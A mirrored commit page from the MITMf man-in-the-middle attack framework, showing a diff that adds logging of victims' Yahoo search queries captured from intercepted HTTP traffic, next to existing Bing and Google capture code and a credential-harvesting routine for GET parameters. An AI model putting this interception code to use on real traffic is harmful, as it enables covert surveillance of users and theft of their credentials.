mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
added yahoo to search engine support
This commit is contained in:
parent
58bd73bb28
commit
b118106d9d
1 changed files with 14 additions and 0 deletions
|
@ -83,6 +83,7 @@ class ServerConnection(HTTPClient):
|
|||
error = str(e)
|
||||
logging.warning("%s Error parsing google search query %s" % (self.client.getClientIP(), error))
|
||||
|
||||
#Capture bing searches
|
||||
if ('bing' in self.headers['host']):
|
||||
if ('Suggestions' in self.uri):
|
||||
try:
|
||||
|
@ -95,6 +96,19 @@ class ServerConnection(HTTPClient):
|
|||
error = str(e)
|
||||
logging.warning("%s Error parsing bing search query %s" % (self.client.getClientIP(), error))
|
||||
|
||||
#Capture yahoo searches
|
||||
if ('search.yahoo' in self.headers['host']):
|
||||
if ('nresults' in self.uri):
|
||||
try:
|
||||
for param in self.uri.split('&'):
|
||||
if param.split('=')[0] == 'command':
|
||||
query = str(param.split('=')[1])
|
||||
if query:
|
||||
logging.info("%s is querying %s for %s" % (self.client.getClientIP(), self.headers['host'], query))
|
||||
except Exception, e:
|
||||
error = str(e)
|
||||
logging.warning("%s Error parsing yahoo search query %s" % (self.client.getClientIP(), error))
|
||||
|
||||
#check for creds passed in GET requests.. It's surprising to see how many people still do this (please stahp)
|
||||
for user in self.http_userfields:
|
||||
username = re.findall("("+ user +")=([^&|;]*)", self.uri, re.IGNORECASE)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue